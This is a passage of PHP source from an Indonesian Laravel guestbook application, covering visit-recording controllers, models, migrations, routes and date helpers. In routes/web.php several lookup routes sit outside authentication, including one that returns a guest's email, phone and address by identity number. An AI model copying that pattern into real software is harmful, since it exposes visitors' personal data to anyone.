"jumlah_tamu" => "2" "tamu_laki" => "1" "tamu_wanita" => "1" ] */ //dd($request->all()); $cek_kunjungan = Kunjungan::where('id',$request->kunjungan_id)->count(); if ($cek_kunjungan > 0) { //ada kunjungan update $data = Kunjungan::where('id',$request->kunjungan_id)->first(); $data->jumlah_tamu = $request->jumlah_tamu; $data->tamu_m = $request->tamu_laki; $data->tamu_f = $request->tamu_wanita; $data->flag_edit_tamu = 1; $data->update(); $pesan_error = 'Data kunjungan an. <strong>'.$data->tamu->nama_lengkap .'</strong> sudah di update'; $warna_error = 'success'; } else { //data kunjungan tidak ada $pesan_error = 'Data kunjungan tidak tersedia'; $warna_error = 'danger'; } Session::flash('message', $pesan_error); Session::flash('message_type', $warna_error); return redirect()->back(); } public function editdata($id) {} public function updatedata(Request $request) {} public function hapus(Request $request) { //get dulu datanya //apabila is_pst = 1 // hapus di tabel pst_layanan, pst_manfaat dan pst_fasilitas $count = Kunjungan::where('id',$request->id)->count(); $arr = array( 'status'=>false, 'hasil'=>'Data kunjungan tidak tersedia' ); if ($count>0) { $data = Kunjungan::where('id',$request->id)->first(); if ($data->is_pst == 1) { Pstlayanan::where('kunjungan_id',$request->id)->delete(); Pstmanfaat::where('kunjungan_id',$request->id)->delete(); PstFasilitas::where('kunjungan_id',$request->id)->delete(); } $cek_feedback = Feedback::where('kunjungan_id',$request->id)->count(); if ($cek_feedback > 0) { Feedback::where('kunjungan_id',$request->id)->delete(); } $nama = $data->tamu->nama_lengkap; $namafile_kunjungan = $data->file_foto; $data->delete(); Storage::disk('public')->delete($namafile_kunjungan); $arr = array( 'status'=>true, 'hasil'=>'Data kunjungan an. '.$nama.' berhasil dihapus' ); } return Response()->json($arr); } public function UbahKunjungan(Request $request) { $count = Kunjungan::where('id',$request->id)->count(); $arr = array( 'status'=>false, 'hasil'=>'Data kunjungan tidak tersedia' ); if ($count>0) { $data = Kunjungan::where('id',$request->id)->first(); if ($data->is_pst == 1) { $usulan_is_pst = 0; $usulan_ispst_nama = 'Kantor'; //hapus yg ada di pstlayanan dan pstmanfaat Pstlayanan::where('kunjungan_id',$request->id)->delete(); Pstmanfaat::where('kunjungan_id',$request->id)->delete(); $f_id = '0'; } else { $usulan_is_pst = 1; $f_id = '5'; $usulan_ispst_nama = 'PST'; //tambahkan ke pstlayanan dan pstmanfaat $pst_layanan = Mlayanan::whereIn('id',['1'])->get(); $pst_manfaat = MManfaat::where('id',$f_id)->first(); $kunjungan_id = $request->id; foreach ($pst_layanan as $l) { $dataLayanan = new Pstlayanan(); $dataLayanan->kunjungan_id = $kunjungan_id; $dataLayanan->layanan_id = $l->id; $dataLayanan->layanan_nama = $l->nama; $dataLayanan->save(); } /* foreach ($pst_manfaat as $m) { $dataManfaat = new Pstmanfaat(); $dataManfaat->kunjungan_id = $kunjungan_id; $dataManfaat->manfaat_id = $m->id; $dataManfaat->manfaat_nama = $m->nama; $dataManfaat->save(); } */ $dataManfaat = new Pstmanfaat(); $dataManfaat->kunjungan_id = $kunjungan_id; $dataManfaat->manfaat_id = $f_id; $dataManfaat->manfaat_nama = $pst_manfaat->nama; $dataManfaat->manfaat_nama_new = $pst_manfaat->nama; $dataManfaat->save(); } $data->is_pst = $usulan_is_pst; $data->f_id = $f_id; $data->update(); $nama = $data->tamu->nama_lengkap; $arr = array( 'status'=>true, 'hasil'=>'Data kunjungan an. '.$nama.' berhasil diubah ke '.$usulan_ispst_nama ); } return Response()->json($arr); } public function UbahJenisKunjungan(Request $request) { $arr = array( 'status'=>false, 'hasil'=>'Data kunjungan tidak tersedia' ); $cek_kunjungan = Kunjungan::where('id',$request->id)->count(); if ($cek_kunjungan > 0) { //data kunjungan ada $data = Kunjungan::where('id',$request->id)->first(); $id_jk = $data->tamu->id_jk; if ($id_jk == 1) { $tamu_laki = 1; $tamu_wanita = 0; } else { $tamu_laki = 0; $tamu_wanita = 1; } $data->jenis_kunjungan = $request->jnskunjungan_after; $data->jumlah_tamu= 1; $data->tamu_m = $tamu_laki; $data->tamu_f = $tamu_wanita; $data->update(); $arr = array( 'status'=>true, 'hasil'=>'Data kunjungan an. '.$data->tamu->nama_lengkap.' berhasil diubah ke '.$data->jKunjungan->nama ); } return Response()->json($arr); } public function getDataKunjungan($id) { $data = Kunjungan::with('tamu','pLayanan','pManfaat')->where('id','=',$id)->first(); $arr = array('hasil' => 'Data tidak tersedia', 'status' => false); if ($data) { $arr = array( 'hasil'=> $data, 'status'=> true ); } return Response()->json($arr); //dd($data); //$arr = array('hasil' => 'Data tidak tersedia', 'status' => false); } public function cekID($jenis_identitas,$nomor_identitas) { $dataCek = Mtamu::where([['id_midentitas','=',$jenis_identitas],['nomor_identitas','=',$nomor_identitas]])->first(); $arr = array('hasil' => 'Data tidak tersedia', 'status' => false); if ($dataCek) { //nomor identitas ada / tamu sudah pernah datang $arr = array( 'hasil' => array( 'tamu_id'=>$dataCek->id, 'nama_lengkap'=>$dataCek->nama_lengkap, 'tgl_lahir'=>$dataCek->tgl_lahir, 'id_jk'=>$dataCek->id_jk, 'id_kerja'=>$dataCek->id_mkerja, 'kat_kerja'=>$dataCek->id_mkat_kerja, 'pekerjaan_detil'=>$dataCek->kerja_detil, 'id_mdidik'=>$dataCek->id_mdidik , 'mwarga'=>$dataCek->id_mwarga, 'email'=>$dataCek->email, 'telepon'=>$dataCek->telepon , 'alamat'=>$dataCek->alamat ), 'status' => true ); } return Response()->json($arr); } public function CLSpi() { $data_bulan = array( 1=>'Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember' ); $data_tahun = DB::table('kunjungan') ->selectRaw('year(tanggal) as tahun') ->groupBy('tahun') ->orderBy('tahun','asc') ->get(); //dd($data_tahun); //filter if (request('tamu_pst')==NULL) { $tamu_filter = 9; } elseif (request('tamu_pst')==0) { $tamu_filter = 0; } else { $tamu_filter = request('tamu_pst'); } if (request('tahun')==NULL) { $tahun_filter=date('Y'); } elseif (request('tahun')==0) { $tahun_filter=date('Y'); } else { $tahun_filter = request('tahun'); } if (request('bulan')==NULL) { $bulan_filter= (int) date('m'); } elseif (request('bulan')==0) { $bulan_filter = NULL; } else { $bulan_filter = request('bulan'); } if (request('jns_kunjungan')==NULL or request('jns_kunjungan')==0) { $kunjungan_filter=0; } else { $kunjungan_filter=request('jns_kunjungan'); } //batas filter $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mlayanan = Mlayanan::orderBy('id','asc')->get(); $Mtamu = Mtamu::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); $Mjkunjungan = Mjkunjungan::orderBy('id','asc')->get(); $Kunjungan = Kunjungan::with('tamu')->with('pLayanan') ->when($bulan_filter,function ($query) use ($bulan_filter){ return $query->whereMonth('tanggal','=',$bulan_filter); }) ->whereYear('tanggal','=',$tahun_filter) ->where('is_pst','1') ->orderBy('tanggal','desc') ->get(); //dd($Kunjungan); return view('spi.index',['Midentitas'=>$Midentitas, 'Mpekerjaan'=>$Mpekerjaan, 'Mjk'=>$Mjk, 'Mpendidikan' => $Mpendidikan, 'Mkatpekerjaan'=>$Mkatpekerjaan, 'Mwarga' => $Mwarga, 'MKunjungan' => $MKunjungan, 'Mlayanan' => $Mlayanan, 'Mtamu' => $Mtamu, 'Kunjungan'=> $Kunjungan,'Mfasilitas'=>$Mfasilitas,'bulan'=>$bulan_filter,'tahun'=>$tahun_filter,'dataBulan'=>$data_bulan,'dataTahun'=>$data_tahun,'tamupst'=>$tamu_filter,'Mjkunjungan'=>$Mjkunjungan,'jns_kunjungan'=>$kunjungan_filter]); } public function CLSpi23() { $data_bulan = array( 1=>'Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember' ); $data_tahun = DB::table('kunjungan') ->selectRaw('year(tanggal) as tahun') ->groupBy('tahun') ->orderBy('tahun','asc') ->get(); //dd($data_tahun); //filter if (request('tamu_pst')==NULL) { $tamu_filter = 9; } elseif (request('tamu_pst')==0) { $tamu_filter = 0; } else { $tamu_filter = request('tamu_pst'); } if (request('tahun')==NULL) { $tahun_filter=date('Y'); } elseif (request('tahun')==0) { $tahun_filter=date('Y'); } else { $tahun_filter = request('tahun'); } if (request('bulan')==NULL) { $bulan_filter= (int) date('m'); } elseif (request('bulan')==0) { $bulan_filter = NULL; } else { $bulan_filter = request('bulan'); } if (request('jns_kunjungan')==NULL or request('jns_kunjungan')==0) { $kunjungan_filter=0; } else { $kunjungan_filter=request('jns_kunjungan'); } //batas filter $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mlayanan = Mlayanan::orderBy('id','asc')->get(); $MLay = MLay::orderBy('id','asc')->get(); $Mtamu = Mtamu::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); $Mjkunjungan = Mjkunjungan::orderBy('id','asc')->get(); $Kunjungan = Kunjungan::with('tamu')->with('pLayanan')->with('pFasilitas') ->when($bulan_filter,function ($query) use ($bulan_filter){ return $query->whereMonth('tanggal','=',$bulan_filter); }) ->whereYear('tanggal','=',$tahun_filter) ->where('is_pst','1') ->orderBy('tanggal','desc') ->get(); //dd($Kunjungan); return view('spi23.index',['Midentitas'=>$Midentitas, 'Mpekerjaan'=>$Mpekerjaan, 'Mjk'=>$Mjk, 'Mpendidikan' => $Mpendidikan, 'Mkatpekerjaan'=>$Mkatpekerjaan, 'Mwarga' => $Mwarga, 'MKunjungan' => $MKunjungan, 'Mlayanan' => $Mlayanan, 'Mtamu' => $Mtamu, 'Kunjungan'=> $Kunjungan,'Mfasilitas'=>$Mfasilitas,'bulan'=>$bulan_filter,'tahun'=>$tahun_filter,'dataBulan'=>$data_bulan,'dataTahun'=>$data_tahun,'tamupst'=>$tamu_filter,'Mjkunjungan'=>$Mjkunjungan,'jns_kunjungan'=>$kunjungan_filter,'mLayanan'=>$MLay]); } public function ListSkd() { $data_bulan = array( 1=>'Januari','Februari','Maret','April','Mei','Juni','Juli','Agustus','September','Oktober','November','Desember' ); $data_tahun = DB::table('kunjungan') ->selectRaw('year(tanggal) as tahun') ->groupBy('tahun') ->orderBy('tahun','asc') ->get(); //dd($data_tahun); //filter if (request('tamu_pst')==NULL) { $tamu_filter = 9; } elseif (request('tamu_pst')==0) { $tamu_filter = 0; } else { $tamu_filter = request('tamu_pst'); } if (request('tahun')==NULL) { $tahun_filter=date('Y'); } elseif (request('tahun')==0) { $tahun_filter=date('Y'); } else { $tahun_filter = request('tahun'); } if (request('bulan')==NULL) { $bulan_filter= (int) date('m'); } elseif (request('bulan')==0) { $bulan_filter = NULL; } else { $bulan_filter = request('bulan'); } if (request('jns_kunjungan')==NULL or request('jns_kunjungan')==0) { $kunjungan_filter=0; } else { $kunjungan_filter=request('jns_kunjungan'); } //batas filter $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mlayanan = Mlayanan::orderBy('id','asc')->get(); $Mtamu = Mtamu::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); $Mjkunjungan = Mjkunjungan::orderBy('id','asc')->get(); $Kunjungan = Kunjungan::with('tamu')->with('pLayanan') ->when($tamu_filter < 9,function ($query) use ($tamu_filter){ return $query->where('is_pst','=',$tamu_filter); }) ->when($bulan_filter,function ($query) use ($bulan_filter){ return $query->whereMonth('tanggal','=',$bulan_filter); }) ->whereYear('tanggal','=',$tahun_filter) //->where('is_pst','1') ->orderBy('tanggal','desc') ->get(); //dd($Kunjungan); return view('skd.index',['Midentitas'=>$Midentitas, 'Mpekerjaan'=>$Mpekerjaan, 'Mjk'=>$Mjk, 'Mpendidikan' => $Mpendidikan, 'Mkatpekerjaan'=>$Mkatpekerjaan, 'Mwarga' => $Mwarga, 'MKunjungan' => $MKunjungan, 'Mlayanan' => $Mlayanan, 'Mtamu' => $Mtamu,'Kunjungan'=> $Kunjungan,'Mfasilitas'=>$Mfasilitas,'bulan'=>$bulan_filter,'tahun'=>$tahun_filter,'dataBulan'=>$data_bulan,'dataTahun'=>$data_tahun,'tamupst'=>$tamu_filter,'Mjkunjungan'=>$Mjkunjungan,'jns_kunjungan'=>$kunjungan_filter]); } public function KunjunganBaru() { $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mlayanan = Mlayanan::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); return view('kunjungan.baru',['Midentitas'=>$Midentitas, 'Mpekerjaan'=>$Mpekerjaan, 'Mjk'=>$Mjk, 'Mpendidikan' => $Mpendidikan, 'Mkatpekerjaan'=>$Mkatpekerjaan, 'Mwarga' => $Mwarga, 'MKunjungan' => $MKunjungan, 'Mlayanan' => $Mlayanan, 'Mfasilitas'=>$Mfasilitas]); } public function NewKunjungan() { $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); $MFas = MFas::orderBy('id','asc')->get(); $MManfaat = MManfaat::orderBy('id','asc')->get(); $MLay = MLay::orderBy('id','asc')->get(); return view('kunjungan.new',['Midentitas'=>$Midentitas, 'Mpekerjaan'=>$Mpekerjaan, 'Mjk'=>$Mjk, 'Mpendidikan' => $Mpendidikan, 'Mkatpekerjaan'=>$Mkatpekerjaan, 'Mwarga' => $Mwarga, 'Mlayanan' => $MLay, 'Mfasilitas'=>$MFas,'MManfaat'=>$MManfaat]); } public function KunjunganLama() { $Midentitas = Midentitas::orderBy('id','asc')->get(); $Mpekerjaan = Mpekerjaan::orderBy('id','asc')->get(); $Mjk = Mjk::orderBy('id','asc')->get(); $Mpendidikan = Mpendidikan::orderBy('id','asc')->get(); $Mkatpekerjaan = Mkatpekerjaan::orderBy('id','asc')->get(); $Mwarga = Mwarga::orderBy('id','asc')->get(); $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mlayanan = Mlayanan::orderBy('id','asc')->get(); $Mfasilitas = Mfasilitas::orderBy('id','asc')->get(); return view('kunjungan.lama',['Midentitas'=>$Midentitas, 'Mpekerjaan'=>$Mpekerjaan, 'Mjk'=>$Mjk, 'Mpendidikan' => $Mpendidikan, 'Mkatpekerjaan'=>$Mkatpekerjaan, 'Mwarga' => $Mwarga, 'MKunjungan' => $MKunjungan, 'Mlayanan' => $Mlayanan, 'Mfasilitas'=>$Mfasilitas]); } public function ScanQrcode() { return view('kunjungan.under'); } public function DetilTamu($idtamu) { $MKunjungan = MKunjungan::orderBy('id','asc')->get(); $Mjkunjungan = Mjkunjungan::orderBy('id','asc')->get(); $data_tamu = Mtamu::where('id',$idtamu)->first(); $Kunjungan = Kunjungan::with('tamu') ->where('tamu_id',$idtamu) ->orderBy('tanggal','asc')->get(); //dd($Kunjungan); return view('detil.tamu',[ 'dataTamu'=>$data_tamu, 'dataKunjungan'=>$Kunjungan, 'MKunjungan' => $MKunjungan, 'Mjkunjungan'=>$Mjkunjungan ]); } } <file_sep>/app/Mtamu.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Mtamu extends Model { //return $this->hasMany('App\Comment', 'foreign_key', 'local_key'); protected $table = 'mtamu'; public function identitas() { return $this->belongsTo('App\Midentitas', 'id_midentitas', 'id'); } public function jk() { return $this->belongsTo('App\Mjk', 'id_jk', 'id'); } public function kategoripekerjaan() { return $this->belongsTo('App\Mkatpekerjaan', 'id_mkat_kerja','id' ); } public function pekerjaan() { return $this->belongsTo('App\Mpekerjaan', 'id_mkerja', 'id'); } public function pendidikan() { return $this->belongsTo('App\Mpendidikan', 'id_mdidik', 'id'); } public function warga() { return $this->belongsTo('App\Mwarga', 'id_mwarga', 'id'); } public function kunjungan() { return $this->hasMany('App\Kunjungan','tamu_id','id'); } public function member() { return $this->belongsTo('App\User', 'id', 'tamu_id'); } } <file_sep>/database/migrations/2019_11_13_064615_kunjungan.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class Kunjungan extends Migration { /** * Run the migrations. * * @return void */ //f_feedback value 1=belum, 2=sudah public function up() { Schema::create('kunjungan', function (Blueprint $table) { $table->bigIncrements('id'); $table->bigInteger('tamu_id')->unsigned(); $table->date('tanggal'); $table->text('keperluan'); $table->boolean('is_pst')->default(0); $table->tinyInteger('f_id')->default(0); $table->tinyInteger('f_feedback')->default(1); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('kunjungan'); } } <file_sep>/database/migrations/2023_07_30_120710_tambah_tamu_i_d_users.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class TambahTamuIDUsers extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('users', function (Blueprint $table) { // $table->bigInteger('tamu_id')->unsigned()->default(0)->after('level'); $table->string('user_foto',250)->nullable()->after('tamu_id'); $table->string('telepon',20)->nullable()->after('user_foto'); $table->boolean('flag')->default(1)->after('telepon'); $table->string('email_kodever',10)->default(0)->after('flag'); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('users', function (Blueprint $table) { // }); } } <file_sep>/routes/web.php <?php /* |-------------------------------------------------------------------------- | Web Routes |-------------------------------------------------------------------------- | | Here is where you can register web routes for your application. These | routes are loaded by the RouteServiceProvider within a group which | contains the "web" middleware group. Now create something great! | */ /*Route::get('/', function () { return view('depan'); }); */ Auth::routes([ 'register' => false, // Registration Routes... 'reset' => false, // Password Reset Routes... 'verify' => false, // Email Verification Routes... ]); Route::get('/', 'BukutamuController@depan')->name('depan'); Route::post('/simpan', 'BukutamuController@simpan')->name('simpan'); Route::get('/tambahkunjungannew', 'BukutamuController@NewKunjungan')->name('kunjungan.new'); Route::get('/tambahkunjunganbaru', 'BukutamuController@NewKunjungan')->name('kunjungan.baru'); Route::get('/tambahkunjunganlama', 'BukutamuController@KunjunganLama')->name('kunjungan.lama'); Route::get('/scanqrcode', 'BukutamuController@ScanQrcode')->name('kunjungan.scan'); Route::get('/detil/pengunjung/{idtamu}', 'BukutamuController@DetilTamu')->name('tamu.detil'); Route::get('/edit/{id}', 'BukutamuController@editdata')->name('edit'); Route::get('/cekid/{jenis_identitas}/{nomor_identitas}', 'BukutamuController@cekID')->name('cekid'); //api getdatakunjungan Route::get('/getdatakunjungan/{id}', 'BukutamuController@getDataKunjungan')->name('getdatakunjungan'); //api get data tamu Route::get('/master/getdatatamu/{id}', 'MasterController@CariPengunjung')->name('pengunjung.cari'); Route::post('/simpanlama', 'BukutamuController@SimpanLama')->name('simpan.lama'); Route::get('/lama', 'BukutamuController@lama')->name('lama'); Route::get('/spi', 'BukutamuController@CLSpi')->name('spi'); Route::get('/spi23', 'BukutamuController@CLSpi23')->name('spi23'); Route::get('/skd', 'BukutamuController@ListSkd')->name('skd'); Route::get('/feedback', 'FeedbackController@list')->name('feedback.list'); Route::post('/feedback/simpan', 'FeedbackController@Simpan')->name('feedback.simpan'); Route::get('/laporan/newpengunjung', 'LaporanController@NewLaporan')->name('laporan.newpengunjung'); Route::group(['middleware' => ['auth']], function () { Route::post('/hapuskunjungan', 'BukutamuController@hapus')->name('hapus.kunjungan'); Route::get('/master/pengunjung', 'MasterController@ListPengunjung')->name('pengunjung.list'); //api list pengunjung per 30 user Route::get('/list/pengunjung', 'MasterController@PageListPengujung')->name('pengunjung.page'); Route::get('/list/pengunjungsync', 'MasterController@PengunjungSync')->name('listpengunjung.sync'); Route::post('/master/simpan/pengunjung', 'MasterController@SimpanPengunjung')->name('pengunjung.simpan'); Route::get('/master/synckunjungan', 'MasterController@ListSyncKunjungan')->name('master.synckunjungan'); Route::get('/master/pengunjungsync', 'MasterController@SyncKodePengunjung')->name('pengunjung.kode'); Route::post('/hapuspengunjung', 'MasterController@HapusPengunjung')->name('pengunjung.hapus'); Route::get('/laporan/pengunjung', 'LaporanController@list')->name('laporan.pengunjung'); Route::post('/ubahkunjungan', 'BukutamuController@UbahKunjungan')->name('ubah.kunjungan'); Route::post('/lama/updatekunjungan', 'BukutamuController@UpdateKunjungan')->name('update.kunjungan'); Route::post('/lama/ubahjeniskunjungan', 'BukutamuController@UbahJenisKunjungan')->name('ubah.jeniskunjungan'); Route::get('/master/photosync', 'MasterController@SyncPhoto')->name('photo.sync'); Route::get('/master/layanansync/', 'MasterController@SyncLayananManfaat')->name('layanan.sync'); Route::get('/master/genlayanansync/{tahun}', 'MasterController@GenSyncLayananManfaat')->name('genlayanan.sync'); //member Route::get('/member/list', 'MemberController@ListMember')->name('member.list'); Route::get('/member/pagelist', 'MemberController@PageListMember')->name('member.page'); Route::post('/member/hapus', 'MemberController@HapusMember')->name('member.hapus'); Route::post('/member/simpan', 'MemberController@SimpanMember')->name('member.simpan'); Route::get('/member/getdata/{id}', 'MemberController@CariMember')->name('member.cari'); }); Route::get('logout', '\App\Http\Controllers\Auth\LoginController@logout'); <file_sep>/database/migrations/2023_05_26_142007_tambah_kolom_nama_manfaat_new.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class TambahKolomNamaManfaatNew extends Migration { /** * Run the migrations. * * @return void */ public function up() { Schema::table('pst_manfaat', function (Blueprint $table) { // $table->string('manfaat_nama', 250)->change(); $table->string('manfaat_nama_new',250)->nullable()->after('manfaat_nama'); ; }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::table('pst_manfaat', function (Blueprint $table) { // }); } } <file_sep>/app/Kunjungan.php <?php namespace App; use Illuminate\Database\Eloquent\Model; class Kunjungan extends Model { // protected $table = 'kunjungan'; /* public function tamu() { return $this->hasMany('App\Mwarga', 'id', 'id_mwarga'); } */ public function tamu() { return $this->belongsTo('App\Mtamu', 'tamu_id', 'id'); } public function pLayanan(){ return $this->hasMany('App\Pstlayanan', 'kunjungan_id', 'id'); } public function pManfaat(){ return $this->hasMany('App\Pstmanfaat', 'kunjungan_id', 'id'); } public function pFasilitas(){ return $this->hasMany('App\PstFasilitas', 'kunjungan_id', 'id'); } public function jKunjungan(){ return $this->belongsTo('App\Mjkunjungan', 'jenis_kunjungan', 'id'); } public function mTujuan(){ return $this->belongsTo('App\MTujuan', 'is_pst', 'kode'); } public function Fasilitas() { return $this->belongsTo('App\Mfasilitas', 'f_id', 'id'); } public function Feedback() { return $this->belongsTo('App\Feedback', 'id', 'kunjungan_id'); } } <file_sep>/database/migrations/2023_08_14_214634_pst_melayani.php <?php use Illuminate\Database\Migrations\Migration; use Illuminate\Database\Schema\Blueprint; use Illuminate\Support\Facades\Schema; class PstMelayani extends Migration { /** * Run the migrations. * * @return void */ public function up() { //pengunjung pst yg datang dilayani oleh operator //dicatat awal mulai dilayani dan akhir dari layanan //masuk ke feedback layanan Schema::create('pst_melayani', function (Blueprint $table) { $table->bigIncrements('id'); $table->bigInteger('kunjungan_id')->unsigned(); $table->bigInteger('tamu_id')->unsigned(); $table->bigInteger('userid')->unsigned(); $table->string('username',50)->unique(); $table->dateTime('mulai_layanan')->nullable(); $table->dateTime('akhir_layanan')->nullable(); $table->timestamps(); }); } /** * Reverse the migrations. * * @return void */ public function down() { Schema::dropIfExists('pst_melayani'); } } <file_sep>/app/Helpers/Umum.php <?php namespace App\Helpers; use Illuminate\Support\Arr; class Tanggal { public static function Panjang($tgl) { $bln_panjang = array(1=>"Januari","Februari","Maret","April","Mei","Juni","Juli","Agustus","September","Oktober","November","Desember"); $tahun=date("Y",strtotime($tgl)); $tgl_=date("j",strtotime($tgl)); $bln_indo=date("n",strtotime($tgl)); $tanggal= $tgl_ .' '.$bln_panjang[$bln_indo].' '.$tahun; return $tanggal; } public static function Pendek($tgl) { $bln_panjang = array(1=>"Jan","Feb","Mar","Apr","Mei","Jun","Jul","Agu","Sep","Okt","Nov","Des"); $tahun=date("Y",strtotime($tgl)); $tgl_=date("j",strtotime($tgl)); $bln_indo=date("n",strtotime($tgl)); $tanggal= $tgl_ .' '.$bln_panjang[$bln_indo].' '.$tahun; return $tanggal; } public static function HariPanjang($tgl) { $nama_hari_indo = array (0=> "Minggu", 1=> "Senin", 2=> "Selasa", 3=> "Rabu", 4=> "Kamis", 5=> "Jumat", 6=> "Sabtu"); $bln_panjang = array(1=>"Januari","Februari","Maret","April","Mei","Juni","Juli","Agustus","September","Oktober","November","Desember"); $tahun=date("Y",strtotime($tgl)); $hari=date("w",strtotime($tgl)); $tgl_=date("j",strtotime($tgl)); $bln_indo=date("n",strtotime($tgl)); $tanggal= $nama_hari_indo[$hari].', '. $tgl_ .' '.$bln_panjang[$bln_indo].' '.$tahun; return $tanggal; } public static function HariPendek($tgl) { $nama_hari_indo = array (0=> "Min", 1=> "Sen", 2=> "Sel", 3=> "Rab", 4=> "Kam", 5=> "Jum", 6=> "Sab"); $bln_panjang = array(1=>"Jan","Feb","Mar","Apr","Mei","Jun","Jul","Agu","Sep","Okt","Nov","Des"); $tahun=date("Y",strtotime($tgl)); $hari=date("w",strtotime($tgl)); $tgl_=date("j",strtotime($tgl)); $bln_indo=date("n",strtotime($tgl)); $tanggal= $nama_hari_indo[$hari].', '. $tgl_ .' '.$bln_panjang[$bln_indo].' '.$tahun; return $tanggal; } public static function LengkapPanjang($tgl) { $bln_panjang = array(1=>"Januari","Februari","Maret","April","Mei","Juni","Juli","Agustus","September","Oktober","November","Desember"); $tahun=date("Y",strtotime($tgl)); $tgl_=date("j",strtotime($tgl)); $bln_indo=date("n",strtotime($tgl)); $jam=date("H:i",strtotime($tgl)); $tanggal= $tgl_ .' '.$bln_panjang[$bln_indo].' '.$tahun.' '.$jam; return $tanggal; } public static function LengkapPendek($tgl) { $bln_panjang = array(1=>"Jan","Feb","Mar","Apr","Mei","Jun","Jul","Agu","Sep","Okt","Nov","Des"); $tahun=date("Y",strtotime($tgl)); $tgl_=date("j",strtotime($tgl)); $bln_indo=date("n",strtotime($tgl)); $jam=date("H:i",strtotime($tgl)); $tanggal= $tgl_ .' '.$bln_panjang[$bln_indo].' '.$tahun.' '.$jam; return $tanggal; } public static function LengkapHariPanjang($tgl) { $nama_hari_indo = array (0=> "Minggu", 1=> "Senin", 2=> "Selasa", 3=> "Rabu", 4=> "Kamis", 5=> "Jumat", 6=> "Sabtu"); $bln_panjang = array(1=>"Januari","Februari","Maret","April","Mei","Juni","Juli","Agustus","September","Oktober","November","Desember"); $tahun=date("Y",strtotime($tgl)); $hari=date("w",strtotime($tgl)); $tgl_=date("j",strtotime($tgl)); $bln_indo=date("n",strtotime($tgl)); $jam=date("H:i",strtotime($tgl)); $tanggal= $nama_hari_indo[$hari].', '. $tgl_ .' '.$bln_panjang[$bln_indo].' '.$tahun.' '.$jam; return $tanggal; } public static function LengkapHariPendek($tgl) { $nama_hari_indo = array (0=> "Min", 1=> "Sen", 2=> "Sel", 3=> "Rab", 4=> "Kam", 5=> "Jum", 6=> "Sab"); $bln_panjang = array(1=>"Jan","Feb","Mar","Apr","Mei","Jun","Jul","Agu","Sep","Okt","Nov","Des"); $tahun=date("Y",strtotime($tgl)); $hari=date("w",strtotime($tgl)); $tgl_=date("j",strtotime($tgl)); $bln_indo=date("n",strtotime($tgl)); $jam=date("H:i",strtotime($tgl)); $tanggal= $nama_hari_indo[$hari].', '. $tgl_ .' '.$bln_panjang[$bln_indo].' '.$tahun.' '.$jam; return $tanggal; } } class Generate { public static function NoIdentitas($nomor) { //$no_id = substr($nomor, 0, strlen($nomor)-3).str_repeat('*', 3); $no_id = str_repeat('*', (strlen($nomor)-4)).substr($nomor, -4); return $no_id; } public static function Kode($length) { $kata='ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789'; $code_gen = ''; for ($i = 0; $i < $length; $i++) { $pos = rand(0, strlen($kata)-1); $code_gen .= $kata[$pos]; } return $code_gen; } public static function JumlahKunjunganHari($tanggal) { $count = \App\Kunjungan::whereDate('tanggal',$tanggal)->count(); return $count; } public static function JumlahTamuHari($tanggal) { $sum = \App\Kunjungan::whereDate('tanggal',$tanggal)->sum('jumlah_tamu'); return $sum; } public static function 